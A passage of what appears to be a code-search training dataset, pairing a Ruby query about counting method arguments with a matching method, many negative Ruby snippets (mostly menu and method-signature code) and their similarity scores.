attachment plugin would you like to use? (please type the number only)\"\n puts \"\\t1. ActiveRecord\\n\\t2. Sequel\"\n choice = gets.chomp\n unless choice.to_i == 1 || choice.to_i == 2\n puts \"Please ensure you only type '1' or '2'\"\n get_attachment_choice\n end\n choice\nend", "def pick_meal(menu)\n puts \"1.#{menu[1][:name]} $#{menu[1][:price]}\"\n puts \"2.#{menu[2][:name]} $#{menu[2][:price]}\"\n puts \"3.#{menu[3][:name]} $#{menu[3][:price]}\"\n puts \"4.See Descriptions\"\n puts \"5.Clear order OR '0' to quit\"\n print \"> \"\n @menu_pick = gets.to_i\n\n case @menu_pick\n when 0\n puts \"Goodbye\"\n exit(0)\n when 4\n description(menu)\n when 5\n clear_order\n else\n order_meal(menu)\n end\n end", "def user_selection\n menu\n choice = gets.to_i\n case choice\n when 1\n add_items\n when 2\n view_cart\n when 3\n remove_items\n when 4\n check_out\n when 5\n puts \"Thank you, come again!\"\n exit\n else\n puts \"Invalid Choice Try Again\"\n sleep(2)\n end\nend", "def select_game_type\n begin\n puts \"\\n#{@player}, would you like to play a new game, \"\n puts \"load and continue a previous game, \"\n puts \"change current player, or quit?\"\n puts \"(Enter 'N', 'L', 'C', or 'Q')\"\n choice = gets.chomp.strip.upcase\n valid_answer = %w[N L C Q]\n unless valid_answer.include?(choice)\n raise ArgumentError.new(\"Selection was not of the correct format.\")\n end\n rescue ArgumentError=>e\n puts \"Error: #{e.message}\"\n retry\n end\n return choice\n end" ]
[ "0.7129752", "0.69999975", "0.69863254", "0.694839", "0.69452405", "0.6863914", "0.68625003", "0.6838367", "0.6838367", "0.6832311", "0.68286526", "0.67793876", "0.6776368", "0.67302", "0.6729739", "0.67249095", "0.6710728", "0.6683755", "0.6672884", "0.6648815", "0.6638053", "0.66375524", "0.6634362", "0.663278", "0.6630986", "0.66196805", "0.6619454", "0.6599316", "0.65905374", "0.6590333", "0.65758264", "0.6569089", "0.65641576", "0.65593165", "0.6558814", "0.65586567", "0.65516376", "0.6548136", "0.6545392", "0.6512388", "0.6510389", "0.6503505", "0.64971113", "0.6494258", "0.6491394", "0.64892656", "0.64699066", "0.64631563", "0.6452463", "0.64502364", "0.6449673", "0.64473933", "0.64462495", "0.6428356", "0.6428214", "0.6421429", "0.64210457", "0.64158446", "0.6406112", "0.64005786", "0.63983536", "0.63949317", "0.639396", "0.6391451", "0.63886976", "0.6380688", "0.63804555", "0.636125", "0.6354453", "0.6353208", "0.63510656", "0.63497347", "0.6348555", "0.6348111", "0.6347303", "0.6342436", "0.63420856", "0.63319296", "0.6331865", "0.63307965", "0.632976", "0.6322405", "0.63160586", "0.63155013", "0.6313754", "0.6313694", "0.6310925", "0.6309878", "0.63095", "0.630681", "0.6305366", "0.62909997", "0.6289363", "0.6289183", "0.6284129", "0.6279041", "0.62766886", "0.62745357", "0.62665915", "0.62612236", "0.6257986" ]
0.0
-1
TODO count method definitions argumets too
def check_third_rule total_method_calls = @data[:method_calls].size proper_method_calls = @data[:method_calls].inject(0) do |sum, method_call| sum += 1 unless method_call.number_of_arguments > 4 sum end @output[:third_rule] ||= {} @output[:third_rule][:proper_method_calls] = proper_method_calls @output[:third_rule][:total_method_calls] = total_method_calls log_third_rule if @store_details end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def methods=(_arg0); end", "def methods() end", "def method_signature\n case @opcode.arguments.size\n when 0\n @file.puts \" def #{method_name}\"\n when 1\n @file.puts \" def #{method_name}(arg1)\"\n when 2\n @file.puts \" def #{method_name}(arg1, arg2)\"\n end\n end", "def meth(arg1,arg2)\nend", "def meth(arg1,arg2)\nend", "def args(*) end", "def meth(\n **\n ); end", "def meth(*args)\n\n\n\nend", "def arguments; end", "def arguments; end", "def arguments; end", "def meth(\n\n\n\n *args)\n\nend", "def method(arg0)\n end", "def method(arg0)\n end", "def method ( a ,b ,c ) \nend", "def meth(arg1)\nend", "def signature(*args); end", "def method_name=(_arg0); end", "def method_name=(_arg0); end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def method_missing(*rest) end", "def methods; end", "def methods; end", "def methods; end", "def methods; end", "def method(a,b,c)\nend", "def extract_method_details; end", "def on_method_add_arg(call, args)\n call_name = call && call[0]\n first_arg = args && :args == args[0] && args[1]\n\n if :call == call_name && first_arg\n if args.length == 2\n # augment call if a single argument was used\n call = call.dup\n call[3] = args[1]\n end\n call\n elsif :fcall == call_name && first_arg\n name, line = call[1]\n case name\n when \"alias_method\"\n [:alias, args[1][0], args[2][0], line] if args[1] && args[2]\n when \"define_method\"\n [:def, args[1][0], line]\n when \"public_class_method\", \"private_class_method\", \"private\", \"public\", \"protected\"\n access = name.sub(\"_class_method\", \"\")\n\n if args[1][1] == 'self'\n klass = 'self'\n method_name = args[1][2]\n else\n klass = nil\n method_name = args[1][1]\n end\n\n [:def_with_access, klass, method_name, access, line]\n when \"scope\", \"named_scope\"\n [:rails_def, :scope, args[1][0], line]\n when /^attr_(accessor|reader|writer)$/\n gen_reader = $1 != 'writer'\n gen_writer = $1 != 'reader'\n args[1..-1].inject([]) do |gen, arg|\n gen << [:def, arg[0], line] if gen_reader\n gen << [:def, \"#{arg[0]}=\", line] if gen_writer\n gen\n end\n when \"has_many\", \"has_and_belongs_to_many\"\n a = args[1][0]\n kind = name.to_sym\n gen = []\n unless a.is_a?(Enumerable) && !a.is_a?(String)\n a = a.to_s\n gen << [:rails_def, kind, a, line]\n gen << [:rails_def, kind, \"#{a}=\", line]\n if (sing = a.chomp('s')) != a\n # poor man's singularize\n gen << [:rails_def, kind, \"#{sing}_ids\", line]\n gen << [:rails_def, kind, \"#{sing}_ids=\", line]\n end\n end\n gen\n when \"belongs_to\", \"has_one\"\n a = args[1][0]\n unless a.is_a?(Enumerable) && !a.is_a?(String)\n kind = name.to_sym\n %W[ #{a} #{a}= build_#{a} create_#{a} create_#{a}! ].inject([]) do |all, ident|\n all << [:rails_def, kind, ident, line]\n end\n end\n end\n else\n # super\n end\n end", "def instance_methods(arg0, arg1, *rest)\n end", "def method(arg_1, arg_2)\n p arg_1\n p arg_2\nend", "def method(*a, b)\r\nend", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method a=3, b=4\r\nend", "def calls; end", "def calls; end", "def test_Method_InstanceMethods_parameters\n\t\tdef m(a,b=1,*c,&d); end\n\t\t# TODO, assert_equal([[:req,:a],[:opt,:b],[:rest,:c],[:block,:d]], method(:m).parameters)\n\tend", "def parameters; end", "def parameters; end", "def parameters; end", "def parameters; end", "def parameters; end", "def parameters; end", "def parameters; end", "def parameters; end", "def meth **options\nend", "def meth **options\nend", "def args()\n #This is a stub, used for indexing\n end", "def signature=(_arg0); end", "def signature=(_arg0); end", "def signature=(_arg0); end", "def signature=(_arg0); end", "def what_am_i arg arg2\n \nend", "def method_information(bound_method); end", "def signature; end", "def signature; end", "def signature; end", "def signature; end", "def signature; end", "def signature; end", "def signature; end", "def signature; end", "def signature; end", "def signature; end", "def method(arg1, arg2)\n p arg1\n p arg2\nend", "def _define_roda_method_arg_numbers(callable)\n optional_args = 0\n rest = false\n keyword = false\n callable.parameters.map(&:first).each do |arg_type, _|\n case arg_type\n when :opt\n optional_args += 1\n when :rest\n rest = true\n when :keyreq\n keyword = :required\n when :key, :keyrest\n keyword ||= true\n end\n end\n arity = callable.arity\n if arity < 0\n arity = arity.abs - 1\n end\n required_args = arity\n arity -= 1 if keyword == :required\n\n if callable.is_a?(Proc) && !callable.lambda?\n optional_args -= arity\n end\n\n [required_args, optional_args, rest, keyword]\n end", "def calls_by_method_name; end", "def arity() end", "def arity() end", "def arg_size; end", "def method_builder; end", "def method(p0) end" ]
[ "0.72092044", "0.70376766", "0.6936947", "0.68668497", "0.68668497", "0.6864879", "0.6808671", "0.6784053", "0.6782423", "0.6782423", "0.6782423", "0.6782381", "0.67594534", "0.67594534", "0.6732685", "0.6705517", "0.6663869", "0.66578764", "0.66578764", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.66195595", "0.6597979", "0.6595606", "0.6595606", "0.6595606", "0.6595606", "0.6587093", "0.65626997", "0.65094465", "0.65076655", "0.6487404", "0.6440267", "0.64299", "0.64299", "0.64299", "0.64299", "0.64299", "0.64299", "0.64299", "0.64299", "0.64299", "0.64299", "0.64299", "0.64299", "0.6427912", "0.64211726", "0.64211726", "0.6409272", "0.63724315", "0.63724315", "0.63724315", "0.63724315", "0.63724315", "0.63724315", "0.63724315", "0.63724315", "0.63590217", "0.63590217", "0.6353402", "0.63376194", "0.63376194", "0.63376194", "0.63376194", "0.6312096", "0.62947345", "0.6292824", "0.6292824", "0.6292824", "0.6292824", "0.6292824", "0.6292824", "0.6292824", "0.6292824", "0.6292824", "0.6292824", "0.6287286", "0.6283385", "0.6268966", "0.6252043", "0.6252043", "0.62411296", "0.6238046", "0.62377167" ]
0.0
-1
Con un objeto de tipo MenuUsuarioTipo, arma el item del menu
def mostrar_item(menu) # Si el item tiene url, controlador o accion, arma link, sino solo label if (menu.controller != '') or (menu.action != '') or (menu.url != '') if menu.url != '' link_to menu.nombre, menu.url else link_to menu.nombre, :controller => menu.controller, :action => menu.action end else menu.nombre end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cargar_menu\n\t\tif session[:usuario]\n\t\t\t@opciones = Menu.find(:all, :order => 'padre, orden')\n\t\telse\n\t\t\t@opciones = []\n\t\tend\n\tend", "def set_menu_item\n @menu_item = Menu::Item.find(params[:id])\n end", "def getMenu(menu)\n end", "def get_minimenu_item(minimenu, selection_type = nil)\r\n #initialize selection_type if needed\r\n selection_type = 0 if selection_type == nil\r\n #flag window as waiting\r\n @waiting = true\r\n #create the minimenu sprite\r\n menu = Sprite_ZeldaCMS_Minimenu.new(minimenu, @cursor)\r\n menu.x, menu.y = @xy_pos[@index]\r\n #loop until an item has been selected or cancelled\r\n loop do\r\n Graphics.update\r\n Input.update\r\n menu.update\r\n break if Input.trigger(InputC) Input.trigger(InputB) \r\n Input.trigger(XAS_COMMANDITEM_ACTION[0]) \r\n Input.trigger(XAS_COMMANDITEM_ACTION[1]) \r\n Input.trigger(XAS_COMMANDITEM_ACTION[2])\r\n end\r\n #get the item\r\n item = menu.item\r\n item = nil if Input.trigger(InputB)\r\n selection_type = 0 if Input.trigger(XAS_COMMANDITEM_ACTION[0])\r\n selection_type = 1 if Input.trigger(XAS_COMMANDITEM_ACTION[1])\r\n selection_type = 2 if Input.trigger(XAS_COMMANDITEM_ACTION[2])\r\n #dispose the menu\r\n menu.dispose\r\n #move menu cursor\r\n @cursor.x, @cursor.y = @xy_pos[@index][0], @xy_pos[@index][1]\r\n #return the item\r\n return item, selection_type\r\n end", "def set_menu_item\n @menu_item = @menu.menu_items.find(params[:id])\n end", "def camino_retorno(menuname, pmenu_item, ptipo)\n sql = \" \"\n resstr = \" \"\n mdescr = \" \"\n if ptipo == 'I' #si recibe el menu_item\n sql = \" AND opc_item = '#{pmenu_item}'\"\n else #si recibe menu_controller \n sql = \" AND opc_controller = '#{pmenu_item}'\"\n end\n menutblcaminos = Vgemenuroute.where(\"menu_cod = '#{menuname}' \"+sql)\n menutblcaminos.each do |camino|\n mcontroller = camino.menu_controller\n\t vdescr = I18n.t('menu.'+mcontroller)\n\t if vdescr.empty? \n\t mdescr = camino.menu_descr\n\t else \n\t if vdescr['missing'] == 'missing' \n\t mdescr = camino.menu_descr\n\t\telse\n\t\t\tmdescr = vdescr\n\t\tend\n\t end\n case camino.item_type \n\t when 'R'\n\t resstr += link_to(mdescr, root_path)\n\t when 'N'\n\t\t vurl = url_for({:controller => 'home', :action => 'index', :itemnode=>camino.menu_item})\n\t\t resstr += \" >> \"+link_to(mdescr, vurl, :class => 'quick')\n\t else\n resstr += \" >> \"+link_to(mdescr, url_for( {:controller => camino.menu_controller }))\t \n\t end\n end\n return resstr\n end", "def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end", "def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end", "def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end", "def getMenu(menu)\n menu.add_item(\"Done\") {self.done}\n menu.add_item(\"Edit Camera...\") {self.edit}\n menu.add_item(\"Reset Tilt\") {self.reset_tilt}\nend", "def gen_menu\n @menu = MenuTree.new\n\n return unless @sysuser\n\n @menu << MenuItem.new(_('Laboratories'),\n url_for(:controller => 'laboratories')) <<\n MenuItem.new(_('Profiles'),\n url_for(:controller => 'profiles')) <<\n MenuItem.new(_('Disk devices'),\n url_for(:controller => 'disk_devs')) <<\n MenuItem.new(_('Terminals'),\n url_for(:controller => 'terminals')) <<\n MenuItem.new(_('Terminal classes'),\n url_for(:controller => 'term_classes')) <<\n MenuItem.new(_('Instances'),\n url_for(:controller => 'instances')) \n\n if @sysuser.admin?\n @menu << MenuItem.new(_('User management'),\n url_for(:action => 'list', \n :controller => 'sysusers'))\n end\n end", "def menu\n ([[0, 'Choisir l’icarien…']] + User.values_select(type_icarien => true)).in_my_select(id: 'opuser_user_id', name: 'opuser[user_id]', selected: param_opuser[:user_id])\n end", "def menu_servicio\n\t\tmenu = \"Seleccione tipo de servicio\"\n\t\tmenu += \"\\n\\tDistrital\"\n\t\tmenu += \"\\n\\tInterprovincial\"\n\t\tmenu += \"\\n\\tInterdepartamental\"\n\t\treturn menu\n\tend", "def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end", "def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end", "def show\n @administrator_menu_nivel0_menu_nivel1 = Administrator::MenuNivel0::MenuNivel1.find(params[:id])\n @opcionMenu = Administrator::MenuNivel0.find(@administrator_menu_nivel0_menu_nivel1.administrator_menu_nivel0_id)\n end", "def menu_params\n params.require(:menu).permit(:nome, :descrizione, :categorie, :piatti, :user_id)\n end", "def Mostrar_menu\n puts \"______________________________\"\n puts \"\\n-----[[ RUBY RANGOS]-----\"\n puts \"______________________________\"\n puts \"1) Generación numérica\"\n puts \"2) Generación de letras\"\n puts \"3) Volver al Menu Principal\"\n puts \"______________________________\"\n print \"Opcion: \"\n end", "def menu\n @menu ||= Menu.new\n end", "def menu\n @menu ||= Interface::Menu.new(self)\n end", "def build_menu(type)\n # Session Gtk::Menu\n menu_session = Gtk::Menu.new\n\n session_item_shell = Gtk::ImageMenuItem.new(\"Interact Session\")\n session_image_shell = Gtk::Image.new\n session_image_shell.set(Gtk::Stock::CONNECT, Gtk::IconSize::MENU)\n session_item_shell.set_image(session_image_shell)\n menu_session.append(session_item_shell)\n\n if (type == \"meterpreter\")\n meterpreter_separator = Gtk::SeparatorMenuItem.new\n menu_session.append(meterpreter_separator)\n\n # Meterpreter shell\n meterpreter_item_shell = Gtk::ImageMenuItem.new(\"Meterpreter Shell\")\n meterpreter_image_shell = Gtk::Image.new\n meterpreter_image_shell.set(Gtk::Stock::EXECUTE, Gtk::IconSize::MENU)\n meterpreter_item_shell.set_image(meterpreter_image_shell)\n # TODO\n # menu_session.append(meterpreter_item_shell)\n\n # sdapi/process\n meterpreter_proc_item_shell = Gtk::ImageMenuItem.new(\"Process\")\n meterpreter_proc_image_shell = Gtk::Image.new\n meterpreter_proc_image_shell.set(Gtk::Stock::INDEX, Gtk::IconSize::MENU)\n meterpreter_proc_item_shell.set_image(meterpreter_proc_image_shell)\n menu_session.append(meterpreter_proc_item_shell)\n\n # sdapi/fs\n meterpreter_fs_item_shell = Gtk::ImageMenuItem.new(\"Browse\")\n meterpreter_fs_image_shell = Gtk::Image.new\n meterpreter_fs_image_shell.set(Gtk::Stock::OPEN, Gtk::IconSize::MENU)\n meterpreter_fs_item_shell.set_image(meterpreter_fs_image_shell)\n menu_session.append(meterpreter_fs_item_shell)\n\n # Meterpreter shell signal\n meterpreter_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n Msf::Ui::Gtk2::Console::Meterpreter.new(current)\n end\n end\n\n # Process signal\n meterpreter_proc_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n Msf::Ui::Gtk2::Stdapi::Sys::Ps.new(current[O_SESSION])\n end\n end\n\n # Fs signal\n meterpreter_fs_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n Msf::Ui::Gtk2::Stdapi::Fs.new(current[O_SESSION])\n end\n end\n end\n\n basic_separator = Gtk::SeparatorMenuItem.new\n menu_session.append(basic_separator)\n\n close_session_item_shell = Gtk::ImageMenuItem.new(\"Close Session\")\n close_session_image_shell = Gtk::Image.new\n close_session_image_shell.set(Gtk::Stock::CLOSE, Gtk::IconSize::MENU)\n close_session_item_shell.set_image(close_session_image_shell)\n menu_session.append(close_session_item_shell)\n\n session_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n open_session(current)\n end\n end\n\n close_session_item_shell.signal_connect('activate') do |item|\n if session_iter = @selection.selected\n remove_session_iter(session_iter)\n end\n end\n\n return menu_session.show_all\n end", "def object_menu(class_name, action)\n class_string = class_name.to_s.underscore.downcase\n create_menu = Menu.new(menu_title_hash_by_action(class_string.humanize.downcase)[action])\n all = class_name.all\n all.each_with_index do |object, x|\n create_menu.add_menu_item({user_message: get_object_display_message(object), method_name: \"#{class_string}/#{action}/#{object.id}\"})\n end\n create_menu\n end", "def menu_items\n\n menu.items(self)\n\n end", "def initialize(nombre,sexo,menu)\r\n @nombre = nombre\r\n @sexo = sexo\r\n @menu = menu\r\n end", "def createMenu _obj, _args\n \"_obj createMenu _args;\" \n end", "def Mostrar_menu\n puts \"______________________________\"\n puts \"\\n-----[[ RUBY ARITMETICO]]-----\"\n puts \"______________________________\"\n puts \"1) Suma\"\n puts \"2) Resta\"\n puts \"3) División\"\n puts \"4) Multiplicación\"\n puts \"5) Potencia\"\n puts \"6) Residuo\"\n puts \"7) Volver al Menu Principal\"\n puts \"______________________________\"\n print \"Opcion: \"\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def show\n @security_role_type_menu = Security::RoleTypeMenu.new\n end", "def set_tipo_item_variado\r\n @tipo_item_variado = ItemVariado.find(params[:id])\r\n end", "def set_menu\n\t\t@menu = Menu.find(params[:id])\n\tend", "def type\n \"mymenu\"\n end", "def set_menu\n @menu = current_user.restaurant.menus.find(params[:id])\n rescue\n # If the menu is not part of the current_user.restaurant.menus, then we don't have access\n # ActiveRecord will throw an exception so we will rescue it immediately\n render body: nil, status: :forbidden\n end", "def menuitem(title, options={}, &block)\n options[:id] = \"mitem-#{rand.to_s.split('.').last}\" if options[:id].nil?\n options[:title] = title\n @menuinfo[menu_number][:menuitems] << options\n nil\n end", "def select_menu(menu_item)\n session[:active_menu] = menu_item\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_administrator_menu_nivel0_menu_nivel1\n @administrator_menu_nivel0_menu_nivel1 = Administrator::MenuNivel0::MenuNivel1.find(params[:id])\n end", "def set_menuitem\n @menu_item = params[:action]\n end", "def set_menu\n set_system_config\n @menu = @system_config.menus.find(params[:id])\n end", "def addMenu _obj, _args\n \"_obj addMenu _args;\" \n end", "def menuAOption\n\t\tmenu = @menuStack.pop\n\t\t@menuStack.push(menu)\n\t\toption = menu.getOption\n\t\tcase option\n\t\twhen \"Magic\"\n\t\t\t@hero.nextCommand.push(option)\n\t\t\t@selectMagicBox = OptionBox.new(15, 5, 34, 7, 18, 15, 128, 26, createNextMagicSublist, @screen)\n\t\t\t@menuStack.push(@selectMagicBox)\n\t\twhen \"Attack\"\n\t\t\t@hero.nextCommand.push(option) \n\t\t\tif @enemyUnits.length > 1\n\t\t\t\t@selectEnemyBox = OptionBox.new(242, 5, 15, 7, 18, 15, 128, 26, createEnemyList, @screen)\n\t\t\t\t@menuStack.push(@selectEnemyBox)\n\t\t\telse\n\t\t\t\tsetCombat\n\t\t\t\t@hero.nextCommand.push([@enemyUnits[0]])\n\t\t\tend\n\t\twhen \"Run\"\n\t\t\t@hero.nextCommand.push(option)\n\t\t\tsetCombat\n\t\twhen \"Item\"\n\t\t\t@hero.nextCommand.push(option)\n\t\t\t@subMenuIndex = 0\n\t\t\t@selectItemBox = OptionBox.new(15, 5, 34, 7, 18, 15, 128, 26, createNextItemSublist, @screen)\n\t\t\t@menuStack.push(@selectItemBox)\n\t\telse\n\t\t\tif (option != \"\")\n\t\t\t\tif (option.class < Unit)\n\t\t\t\t\t@hero.nextCommand.push([option])\n\t\t\t\t\tsetCombat\n\t\t\t\telse\n\t\t\t\t\ttargetType = option.getTargetType\n\t\t\t\t\tcase targetType\n\t\t\t\t\twhen \"self\"\n\t\t\t\t\t\t@hero.nextCommand.push(option)\n\t\t\t\t\t\t@hero.nextCommand.push([@hero])\n\t\t\t\t\t\tsetCombat\n\t\t\t\t\twhen \"all\"\n\t\t\t\t\t\t@hero.nextCommand.push(option)\n\t\t\t\t\t\ttargets = []\n\t\t\t\t\t\t@enemyUnits.each { |unit| targets.push(unit) }\n\t\t\t\t\t\t@hero.nextCommand.push(targets)\n\t\t\t\t\t\tsetCombat\n\t\t\t\t\twhen \"enemy\"\n\t\t\t\t\t\t@hero.nextCommand.push(option)\n\t\t\t\t\t\tif @enemyUnits.length > 1\n\t\t\t\t\t\t\t@selectEnemyBox = OptionBox.new(242, 5, 15, 7, 18, 15, 128, 26, createEnemyList, @screen)\n\t\t\t\t\t\t\t@menuStack.push(@selectEnemyBox)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tsetCombat\n\t\t\t\t\t\t\t@hero.nextCommand.push([@enemyUnits[0]])\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def set_menu\n @menu = Menu.find(params[:menu_id])\n end", "def menu_items\n menu.items(self)\n end", "def menu_items\n menu.items(self)\n end", "def set_menu\n @menus = Xmt::Nav::Menu.all\n @menu = params[:parent_id].blank? ? @menus.first : Xmt::Nav::Menu.find(params[:parent_id])\n end", "def get_item(item_name)\n return @menu[item_name]\n end", "def addMenuItem _obj, _args\n \"_obj addMenuItem _args;\" \n end", "def on_create_options_menu(menu)\n\t\t\tm1 = menu.add('Dashboard')\n\t\t m1.set_icon Ruboto::R::drawable::info\n\t\t m1.set_show_as_action 2\n\t\t m1.set_on_menu_item_click_listener do |menu_item|\n\t\t\t toast menu_item.title\n\t\t\t true # Prevent other listeners from executing.\n\t\t end\n\n\t\t m2 = menu.add('Properties')\n\t\t m2.set_icon Ruboto::R::drawable::prop\n\t\t m2.set_show_as_action 2\n\t\t m2.set_on_menu_item_click_listener do |menu_item|\n\t\t\t\ttoast menu_item.title\n\t\t\t\ttrue # Prevent other listeners from executing.\n\t\t end\n\n\t\t m3 = menu.add('Settings')\n\t\t m3.set_icon Ruboto::R::drawable::settings\n\t\t m3.set_show_as_action 2\n\t\t m3.set_on_menu_item_click_listener do |menu_item|\n\t\t\t\ttoast menu_item.title\n\t\t\t\ttrue # Prevent other listeners from executing.\n\t\t end\n\n\t\t m4 = menu.add('More')\n\t\t m4.set_icon Ruboto::R::drawable::more\n\t\t m4.set_show_as_action 2\n\t\t m4.set_on_menu_item_click_listener do |menu_item|\n\t\t\t\ttoast menu_item.title\n\t\t\t\ttrue # Prevent other listeners from executing.\n\t\t end\n\t\t true # Display the menu.\n\tend", "def menu_items_html\n @menu_items = MenuItem.where(show: true, type_item: \"Головне меню\").order(order_item: :asc)\n\n @menu = '<ul class=\"nav navbar-nav\">'\n\n @menu_items.each do |m_a|\n if m_a.parent_id == 0\n @menu << \"<li class='dropdown'><a class='dropdown-toggle' aria-expanded='false' aria-haspopup = 'true' data-toggle = 'dropdown' href = '#{m_a.link}' role = 'button' target= 'blank'> #{m_a.title} <span class='caret'></span></a>\" if m_a.type_level == 'Заголовок меню'\n @menu << \"<li > <a href = '#{m_a.link}'> #{m_a.title} </span></a>\" if m_a.type_level == 'Пункт меню'\n\n get_children m_a.id, m_a.type_level\n\n @menu << '</li>'\n end\n end\n @menu << '</ul>'\n # $menu << @menu\n end", "def init_menu\n @menus.set_selected(\"teambox\")\n @menus.set_selected(\"licenses\")\n end", "def add_item(item)\n @menu[item.name] = item\n return self\n end", "def set_order_menu_item\n @order_menu_item = OrderMenuItem.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n @locations = Location.all\n @typsall = Typ.all\n end", "def set_tipo_usuario\n @tipo_usuario = TipoUsuario.find(params[:id])\n end", "def set_tipo_usuario\n @tipo_usuario = TipoUsuario.find(params[:id])\n end", "def set_tipo_usuario\n @tipo_usuario = TipoUsuario.find(params[:id])\n end", "def set_menu\n id = params[:id]\n @menu = Menu.find(id)\n end", "def menu(context={})\n \n app = context[:app]\n\n menu_items = [ \n ] \n \n end", "def menu(context={})\n \n app = context[:app]\n\n menu_items = [ \n ] \n \n end", "def show\n @menu_item = MenuItem.new\n @menu_group = MenuGroup.find(params[:id])\n @menu_items = MenuItem.where(menu_group_id: @menu_group.id)\n end", "def init_menu\n @menus.set_selected(\"about\")\n end", "def set_menu _menu_name\n send_cmd(\"set_menu #{_menu_name}\")\n end", "def create_menu_command\n\t @command_window = Window_MenuCommand.new\n\t @command_window.set_handler(:item, method(:command_item))\n\t @command_window.set_handler(:skill, method(:command_personal))\n\t @command_window.set_handler(:equip, method(:command_personal))\n\t @command_window.set_handler(:status, method(:command_personal))\n\t @command_window.set_handler(:save, method(:command_save))\n\t @command_window.set_handler(:game_end, method(:command_game_end))\n\t @command_window.set_handler(:cancel, method(:return_scene))\t\n\tend", "def set_main_menu\n @main_menu = MainMenu.find(params[:id])\n end", "def nMenuItems _obj, _args\n \"_obj nMenuItems _args;\" \n end", "def crud_menu(class_name)\n class_string = class_name.to_s.underscore.downcase\n m = Menu.new(\"What would you like to do with #{class_string.humanize.downcase.pluralize}?\")\n m.add_menu_item(user_message: [\"Create a new #{class_string.humanize.downcase}.\"], method_name: \"#{class_string}/create\")\n m.add_menu_item(user_message: [\"Show all #{class_string.humanize.downcase.pluralize}.\"], method_name: \"#{class_string}/show\")\n m.add_menu_item(user_message: [\"Update a #{class_string.humanize.downcase}.\"], method_name: \"#{class_string}/update\")\n m.add_menu_item(user_message: [\"Delete a #{class_string.humanize.downcase}.\"], method_name: \"#{class_string}/delete\")\n m\n end", "def item(*args)\n @__submenu_generation__.item(*args)\n end", "def items_menu(**opt)\n unless administrator?\n hash = opt[:constraints]&.dup || {}\n user = hash.extract!(:user, :user_id).compact.values.first\n org = hash.extract!(:org, :org_id).compact.values.first\n if !user && !org && (user = current_user).present?\n added = (org = user.org) ? { org: org } : { user: user }\n opt[:constraints] = added.merge!(hash)\n end\n end\n opt[:sort] ||= { id: :desc } if administrator? || manager?\n super(**opt)\n end", "def cycleMenu(menu)\n\t\tif menu == @selectItemBox\n\t\t\t@selectItemBox = OptionBox.new(15, 5, 34, 7, 18, 15, 128, 26, createNextItemSublist, @screen)\n\t\t\tmenu = @selectItemBox\n\t\telsif menu == @selectMagicBox\n\t\t\t@selectMagicBox = OptionBox.new(15, 5, 34, 7, 18, 15, 128, 26, createNextMagicSublist, @screen)\n\t\t\tmenu = @selectMagicBox\n\t\tend\n\t\treturn menu\n\tend", "def click_menu_item(bar, menu, item, timeout=nil)\r\n barElement = find_by_id_and_class(bar, \"ss-MainMenuBar\", timeout)\r\n menuElement = source_find_by_id_and_class(barElement, menu, \"gwt-MenuItem\", timeout)\r\n menuElement.click\r\n itemElement = find_by_id_and_class(item, \"gwt-MenuItem\", timeout)\r\n itemElement.click\r\n end", "def set_role_menu\n @role_menu = RoleMenu.find(params[:id])\n end", "def set_normal_menu\n @normal_menu = NormalMenu.find(params[:id])\n end", "def nav_sub_menu_item(sub_menu_label, permission, route = '#', title = '', options = {})\n model_name = route.gsub( /(new|path|admin|_|\\/)/, '').strip.capitalize.singularize.constantize\n controller = route.gsub(/(new|path|admin|_|\\/)/, '').strip.downcase.underscore.pluralize\n sub_menu_label = t(\"activerecord.models.#{sub_menu_label}\")\n action, sub_menu_label = permission.eql?(:create) ? [:new, \"Cadastrar #{sub_menu_label}\"] : [:index, \"Listar #{sub_menu_label}\"]\n new_route = { :controller => \"admin/#{controller}\", :action => action }\n content_tag(:li, link_to(sub_menu_label, new_route, :title => title)) if can? permission, model_name\n end", "def menu(selected)\n @menu = selected\n end", "def resource\n @menu ||= params[:id].present? ? Transit::Menu.find(params[:id]) : Transit::Menu.new\n end", "def mostrar_opciones_tutoria\n acciones = ['Peticiones pendientes de aceptar', 'Cola alumnos', 'Borrar tutoría', 'Volver']\n 